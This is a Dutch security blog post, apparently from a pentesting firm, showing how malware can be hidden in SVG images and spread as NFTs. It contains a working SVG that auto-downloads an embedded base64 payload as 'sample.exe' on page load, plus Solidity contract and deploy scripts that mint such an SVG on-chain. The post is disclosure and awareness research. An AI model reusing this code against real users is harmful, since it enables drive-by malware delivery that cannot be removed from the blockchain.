Malware verstoppen in SVG’s: Een Nieuwe Bedreiging voor NFT’s

SVG's en de malware die dit kan bevatten vormen een grote cyberdreiging.

Bij Non-Fungible Tokens (NFT’s) zoals digitale kunst, collectibles en andere digitale assets zien we niet alleen innovatieve toepassingen, maar ook opkomende dreigingen. Een van de meest zorgwekkende ontwikkelingen waar wij achter zijn gekomen is een niet eerder gezien fenomeen. Namelijk: het smokkelen van malware in SVG-bestanden (Scalable Vector Graphics), wat malafide actoren in staat stelt om schadelijke code onopgemerkt te verbergen binnen ogenschijnlijk onschuldige afbeeldingen.

Wat is Malware-Smuggling in SVG's?

SVG-smuggling is een exploit techniek waarbij kwaadaardige code (malware) in de code wordt gestopt in bestandstypen die normaal gesproken als veilig worden beschouwd. SVG’s zijn bijzonder aantrekkelijk voor cybercriminelen omdat ze zowel beeld- als code-elementen kunnen bevatten. Door bijvoorbeeld JavaScript te embedden, kunnen aanvallers schadelijke scripts verbergen die worden geactiveerd wanneer de SVG wordt geopend of weergegeven in een webbrowser. Hieronder een voorbeeld van een geïnfecteerde SVG:
				
					<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.0" width="500" height="500">
    <text x="10" y="50" font-family="Arial" font-size="20" fill="black">Open this image in a new tab</text>
    <script type="application/ecmascript"><![CDATA[
        document.addEventListener("DOMContentLoaded", function() {
            function base64ToArrayBuffer(base64) {
                var binary_string = window.atob(base64);
                var len = binary_string.length;
                var bytes = new Uint8Array(len);
                for (var i = 0; i < len; i++) { bytes[i] = binary_string.charCodeAt(i); }
                return bytes.buffer;
            }
            var file = 'U2FtcGxlIGZpbGUgYnkgaWFu'; // Dit is de payload base64 encoded
            var data = base64ToArrayBuffer(file);
            var blob = new Blob([data], {type: 'octet/stream'});
            var a = document.createElementNS('http://www.w3.org/1999/xhtml', 'a');
            document.documentElement.appendChild(a);
            a.setAttribute('style', 'display: none');
            var url = window.URL.createObjectURL(blob);
            a.href = url;
            a.download = 'sample.exe'; // Dit is de bestandsnaam die het script gaat downloaden
            a.click();
            window.URL.revokeObjectURL(url);
        });
    ]]&gt;</script>
</svg>
				
			

SVG-Smuggler : Wij hebben dit Python-script gemaakt wat een bestand encodeert naar een Base64-string en embedt het in een SVG-bestand. Wanneer de SVG wordt geopend in een webbrowser, activeert het script automatisch het downloaden van het originele bestand.

Waarom NFT's een Ideale manier zijn voor het verspreiden van Malware.

SVG-smuggling is een redelijk onbekend fenomeen, helemaal de combinatie NFT’s hebben wij nog niet eerder gezien. NFT’s, die vaak op blockchain-platforms zoals Ethereum worden gehost, bieden een uniek voordeel voor cybercriminelen:

 

1. Onuitwisbaarheid: Zodra een NFT is geüpload naar de blockchain, kan deze niet meer worden verwijderd. Dit betekent dat de ingebedde malware permanent beschikbaar blijft, zelfs als de oorspronkelijke maker de NFT probeert te verwijderen.

 

2. Anonimiteit: Blockchain-transacties zijn pseudoniem, waardoor het moeilijk is om de identiteit van de aanvaller te traceren.

 

3. Verspreiding: NFT’s worden vaak gedeeld en verhandeld op verschillende marktplaatsen, wat de verspreiding van de geïnfecteerde SVG vergroot.

Hoe werkt het deployen van een NFT met een SVG-Malware payload?

Na het maken van een SVG file met een payload, kan deze file worden geüpload naar een NFT-marktplaats. Wanneer een gebruiker de NFT opent, wordt de ingebedde malware automatisch gedownload en kan deze worden uitgevoerd. Het Solidity smart contract voor het deployen van de NFT met daarin de malafide SVG, hebben wij gemaakt en is hieronder te vinden.

				
					pragma solidity ^0.8.26;

import {ERC721} from "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import {Base64} from "@openzeppelin/contracts/utils/Base64.sol";

contract PoCSVG is ERC721 {

    struct Poc {
        string name;
        string description;
    }

    uint256 private s_tokenCounter;
    string private s_pocSvgImageUri;


    mapping(uint256 => Poc) public s_tokenIdToPoc;

    constructor(string memory pocSvgImageUri) ERC721("PoCSVG", "SVG") {
        s_tokenCounter = 0;
        s_pocSvgImageUri = pocSvgImageUri;
    }

    function mint() public {
        _safeMint(msg.sender, s_tokenCounter);
        s_tokenCounter++;
    }


    function _baseURI() internal pure override returns (string memory) {
        return "data:application/json;base64,";
    }

    function tokenURI(uint256 tokenID) public view override returns (string memory) {
        string memory imageURI = s_pocSvgImageUri;

        return string(
            abi.encodePacked(
                _baseURI(),
                Base64.encode(
                    bytes(
                        abi.encodePacked(
                            '{"name":"',
                            name(),
                            '", "description":"NFT with a PoC SVG that downloads files when clicked", ',
                            '"image":"',
                            imageURI,
                            '"}'
                        )
                    )
                )
            )
        );
    }
}
				
			
Dit script zorgt ervoor dat de SVG file wordt geüpload naar de blockchain. Het script hieronder zorgt hoe de NFT collectie wordt aangemaakt. en de SVG wordt ingebracht:
				
					pragma solidity ^0.8.26;

import {Script} from "forge-std/Script.sol";
import {PoCSVG} from "src/PocSvg.sol";
import "forge-std/console2.sol";
import {Base64} from "@openzeppelin/contracts/utils/Base64.sol";

contract DeployPocSVG is Script {
    function run() external returns (PoCSVG) {
        string memory PoC = vm.readFile("./img/poc.svg");

        vm.startBroadcast();
        PoCSVG pocSvg = new PoCSVG(svgToImageURI(PoC));
        pocSvg.mint();
        vm.stopBroadcast();
        return pocSvg;
    }

    function svgToImageURI(string memory _svg) public pure returns (string memory) {
        string memory baseURL = "data:image/svg+xml;base64,";
        string memory svgBase64Encoded = Base64.encode(bytes(string(abi.encodePacked(_svg))));
        return string(abi.encodePacked(baseURL, svgBase64Encoded));
    }
}
				
			

Link naar de volledige repository en uitleg is hier te vinden: Malicious-NFT

Een LIVE proof of concept

Voor deze proof of concept hebben wij een live Proof of Concept gemaakt op de  OpenSea . Zodra een gebruiker de NFT opent, wordt de embedded (fake)malware automatisch gedownload en kan deze mogelijk worden uitgevoerd.

https://opensea.io/assets/base/0x5fa7f34b32be7d53396e9d07e2d2a7c59273946c/0

Gevolgen voor de Blockchain- en Community

De integratie van malware in NFT’s kan verstrekkende gevolgen hebben:

1. Beveiligingsrisico’s: Gebruikers kunnen ongewild malware downloaden en dmv social engineering acties uitvoeren, wat kan leiden tot datadiefstal, comprimitatie van iemands wallet, systeeminfiltratie en andere schadelijke activiteiten.
 
2. Verlies van Vertrouwen: Toenemende beveiligingsincidenten kunnen het vertrouwen in NFT-platforms ondermijnen, wat de markt als geheel kan schaden.

Conclusie en Proof of Concepts

Het smokkelen van malware in SVG’s is een nieuwe en nog onbekende bedreiging binnen de NFT-wereld. Terwijl de populariteit van NFT’s waarschijnlijk zal stijgen, moeten zowel ontwikkelaars als gebruikers proactieve stappen ondernemen om de veiligheid te waarborgen en de integriteit van blockchain-platforms te beschermen. Door middel van awareness, geavanceerde beveiligingstools en voortdurende waakzaamheid kunnen we deze dreiging het hoofd bieden en een veiliger digitale toekomst bevorderen.

Voor meer volledige documentatie en informatie:

1. SVG-Smuggler: Dit Python-script encodeert een bestand naar een Base64-string en embedt het in een SVG-bestand. Wanneer de SVG wordt geopend in een webbrowser, activeert het script automatisch het downloaden van het originele bestand.

2. Malicious-NFT: Deze repository toont hoe een malafide SVG als NFT kan worden geüpload naar de blockchain. Wanneer een gebruiker de NFT opent, wordt de ingebedde malware automatisch gedownload en kan deze potentieel worden uitgevoerd.
 
3. Live Malware NFT Demo: Eerste SVG-malware poc op de Blockchain

Blijf up-to-date over cyberrisico's!

Wekelijks delen onze hackers hun kennis en expertise. Door je in te schrijven voor de Vulnerability Update ontvang je wekelijks een tip van een ethisch hacker over kwetsbaarheden in software in systemen. Door te begrijpen hoe aanvallers kijken naar jouw organisatie, hopen wij jullie verder te helpen in de wereld van cyber security. Wil jij wekelijks dit soort blogs lezen? Schrijf je dan hieronder in!

Maar wil je meer weten over het structureel inzichtelijk maken van kwetsbaarheden in software en systemen, lees dan meer over onze Hacking as a Service oplossing. Naast het regelmatig pentest bieden wij ook een security monitoring tool die dagelijks jullie webapplicaties en/of interne netwerk scant op deze talloze CVE’s. 

Of meer lezen over Hacking as a Service >>

Kosteloos 1 uur pentesten?

Bij Tozetta kun je vrijblijvend een Pentest Quickscan aanvragen. Tijdens de Quickscan gaat een ethisch hacker kosteloos één uur een pentest uitvoeren. In dit uur maakt de ethisch hacker het aanvalsoppervlak inzichtelijk. Op basis hiervan kan een  urenindicatie voor jullie vraagstuk worden bepaald en krijgen jullie inzicht in de mogelijke pentest kosten. Interesse in een pentest uitvoeren? Vul vrijblijvend onderstaand formulier in!

Vraag een Quickscan aan

Visuele weergaven van een pentest rapport bij Tozetta Cyber Security